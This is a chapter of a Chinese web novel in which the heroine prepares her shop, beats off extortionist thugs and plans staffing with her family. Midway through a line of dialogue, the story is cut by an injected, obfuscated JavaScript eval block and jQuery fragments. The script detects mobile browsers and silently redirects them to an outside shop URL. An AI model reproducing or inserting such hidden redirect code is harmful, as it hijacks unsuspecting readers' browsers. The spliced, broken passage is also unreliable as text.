一个半月后,县里西街。
原先的客栈已经被清空,该拆的全部拆完,这会正在按照秋雪的计划重新修整铺面了。
工匠是阮默行托同窗李泽找来的,是经验丰富的老工匠带队施工。
照眼下的情况大约再过半个月就能完工。
“你真的要在这面墙上画佛像?”
阮默行跟在秋雪身后,同她一块打量二楼正对着窗的这面墙。
秋雪捏着下巴,轻轻点头:“嗯,有这打算,不过只能画成墨色不知好不好看。”要是用彩料绘制,不说难度增加了,时间也来不及,何况花费也会多上不少。
现下铺面虽解决了,但修整铺子也是一笔不小的支出。秋雪手上虽还有些银钱,可也要紧着点花才行。
“好看的。”阮默行一副肯定的神情。
秋雪不由看了他一眼,阮默行又说:“一定好看。”
秋雪对他这种无条件肯定的态度,一时有些失笑。
接下来的一段时间里,秋雪都在跟铺子修整,工坊的事情暂时交给了王叔和陈伯管理。
等铺子二楼先修整完,秋雪便开始画起佛像,不过墙面不小,虽有一定难度,但对秋雪来说算不得什么,她前世跟着导师画过壁画,因此只是墨色画像倒是简单不少。
阮默行见秋雪潜心作画,便将铺面修整的事情揽下。
半月过去,修葺已近尾声,而秋雪的画却还只画了不到一半。
突然,嘭地一声从楼下传来,秋雪握笔的手一顿,不待她凝神细听,就听“哟,这是哪个不懂事的,开铺子不给我们老大报备?”
秋雪蹙眉,这什么话。
嘭,咚,一顿打砸声响起。
“唉,你干什么呢,住手!”
“干什么?!老子让你看看干什么!”
秋雪将笔放下,下楼看见几个混混模样的男人,正与工匠们对峙。
她看了眼被砸坏的一面货架,眼眸一冷,几步走到工匠们身前,冷声道:“谁动的手?”
张牛眯着眼看向秋雪,眼神上下一扫,顿时不怀好意,调笑道:“小娘子长得不错呀,要不你跟了老子,老子让你吃香喝辣的!”
秋雪眼睛一眯,这人像是知道她是谁似的,连问都没问她的身份,秋雪勾了下嘴角,淡声道:“我瞧你这活计干的风险太大,搞不好还得吃牢饭,不如你跟了我,我让你不愁吃穿。”
张牛身后的男人各个眼睛瞪大,不敢置信地看着这身形拂柳般的弱女子竟敢与他们老大对呛,心里已断定了这小娘子即将面临的惨痛境遇。
“哦?”张牛斜眼看着秋雪,往地上吐了口唾沫,“啧,看来今日不给你点教训怕是不知道你爷爷的厉害!”
话音刚落,就听他啊地一声惨叫出声。
秋雪不紧不慢地收回侧踢出去的脚,转了转手腕,漫不经心道:“是吗?那你觉得你奶奶厉不厉害?”
其他几人见状先是下意识后退一步,紧接着反应过来,一拥而上。
随即工匠们目瞪口呆地看着秋雪一人将几人全部撂倒。
“这,这,这……”
工匠们一时被震惊到说不出话来。
“咳……咳,你……!”张牛捂着肚子站起来,心里恨骂姓王的不厚道,竟没说秋雪会武,还是他从未见识的招式。
秋雪见他颤巍巍站起来,又给了他一拳。她慢吞吞舒展一下筋骨,瞥了他一眼:“如何?要不要跟我了?”
“呸!跟你老子!”张牛气骂道,今儿脸丢大了!
“是吗,不愿意对吧。”秋雪说,“那就只能送你去县衙坐坐了。”
“是这里报官对吧?”
秋雪话落,便听到这句话,随即循声望去,这才发现铺子门口不仅围了好些人,还有几个衙役佩刀而来。
秋雪见领头的人有些眼熟,不待她分辨,对方率先说话:“咦,是秋老板吗?”
“不记得我了?之前你在东市摆摊的时候,摊子上有人闹事……”
他话没说完,秋雪一脸恍然大悟,“是……陈班头?”
“是我,秋老板失敬。”陈班头拱手,说完对身后的衙役挥手,几名衙役纷纷上前将地上的混混们绑起来。
“打的好,这帮人三五不时地来收保护费,早该有人治治他们了!”这人的声音是藏不住的愤恨。
“就是!打的好!”
秋雪见衙役们正要带走混混们,想了想上前一步,走到陈班头跟前,低声道:“还请陈班头查查是谁让他来的。”
陈班头闻言,眉头一皱,不曾想竟似还有内情,他疑惑道:“秋老板是察觉了什么吗?”
秋雪点头,将自己刚才观察的情况告知陈班头。
半晌,陈班头眸色微动,暗自心生敬佩,拱手回道:“分内之事。”
秋雪目送他们离开,回身对工匠们说:“去忙吧。这里砸坏的修一下,不能修的就重新做。”
工匠们不约而同地点头。
阮默行提着给秋雪买的吃食,正往回走,远远地看着他家铺子门前围了不少人,正疑惑间,人群散开,几名衙役绑着人从他家铺子出来。
阮默行心里一惊,三步并作两步的冲进铺子,见秋雪正在说话,忙走过去急道:“你没事吧?”
说完才看到被砸坏的货架,阮默行眉头一皱,又问:“是刚才那几人来砸坏的?”他指的是被衙役绑走的人。
秋雪听到身后突然出现的阮默行的声音,转身看到他一脸焦急的样子,说:“没事,几个混混。”
“你有没有事?我看看!”
“没事。”秋雪握住阮默行伸过来的手,又道:“没事,你去哪儿了?”
“我给你买吃食去了,哪曾想到竟有人来闹事。”阮默行懊恼,早知应该一直守在这儿。
“幸好你没事,不然……”
秋雪看他一脸后悔的神情,心里有些异样,缓声说:“我们上楼说。”
“嗯。”阮默行提着吃食跟在秋雪身后,低着头不知在想些什么,没走两步差点踩到秋雪的后脚跟。
两人上楼后,秋雪又被阮默行扶着肩膀左右看了看,发现确实没有受伤的痕迹,放下心来,“回头我去县衙问问情况。”
总不能让这件事简易的过去。
秋雪也有这意思,跟阮默行说了之前的发现,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599153|203602||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
铺子还没开起来,按理来说,除了自家人,没人知晓会卖什么货品,却等不及来闹事,选的还是铺子即将修整完的时候……”
思来想去,秋雪觉得是熟人的可能性太大,“你说有没有可能是阮付生?他被我揍过……”
说到这,秋雪一顿,抬眼看向阮默行,“被我揍过的人还有王大,王浅之前过年都没回去,也可能是他怀恨在心。”停顿了下,又说:“也有可能是我继母他们。”
阮默行沉吟片刻,说:“阮付生这人是个软骨头,不太能做这种事,他不敢。”
“至于你家那边,孙兴的可能性比较大,但目前咱与他们并不涉及利益,应不会这么快行动,太蠢了。”
秋雪眼睛一转,“是王大。”
但眼下两人没有证据,只能等陈班头那边的消息了。
这边按下不提,秋雪吃了点阮默行买回来的吃食,休息了会,又继续作画。阮默行守在一旁哪儿也没去。
快到申时时,陈小迁收摊从东市过来了,铺子的工匠这会也下工,秋雪和阮默行便锁好铺子们坐上牛车回村了。
阮家饭桌上。
秋雪没与阮家众人说今日在铺子发生的事,阮默行也没提。
陈小迁去铺子比较晚,工匠前脚刚走,他才去,因此也还没听说下午有人去铺子闹事的事。
阮默红夹了一筷子秋雪爱吃的青菜放在她碗里,笑说:“大嫂,我真的可以去铺子当伙计吗?”
阮默红在工坊做工的这些日子,对竹编已有了一定的了解,秋雪才跟她提了下愿不愿去铺子里为客人介绍工坊做的竹编。
秋雪也不是只问了阮默红,还问了王浅、陈小羽及工坊内一些人,只有对货品熟悉才能更好的给人解说,去外面招人还得重新培训。
再说秋雪也只是给他们一个机会,愿意去就去,不愿也没关系。现在看来,阮默红倒是有些意向。
“嗯,你想去的话。”
阮默红将碗放在桌上,眼神发亮,“想去,我想试试。”她想走出去,不管是家里还是村里,她想去挣钱,也想去接触更多的人,将她做的竹编卖给别人。
秋雪要是知晓阮默红的想法,会更支持她。
“你俩想去吗?”
秋雪看向低头吃饭的王浅和陈小羽。
两人闻言,沉默半晌。
王浅率先说:“我也想去。”
陈小羽听到王浅的话,又沉默片刻,才抬头看向秋雪:“秋老板,我想继续在工坊。”
秋雪大约明白陈小羽的考量,点了点示意同意。
陈婶已经吃完,这会儿进来堂屋听到她家小羽的话,不由叹气,但想想不去也好,在工坊做事也不错,便笑说:“小羽在工坊挺好的挺好的。”
这事就这么定下了。
突然,阮默正抹了抹嘴巴,对秋雪道:“大嫂,我能不能也去县里呀?”
“?”
“你去做什么?”这话是阮默行说的。
“啊……”阮默正眼珠转来转去,对大哥说:“我去帮忙呀!”
噗呲。
阮默红忍不住嗤笑:“阿正,你怕是去帮倒忙哩。”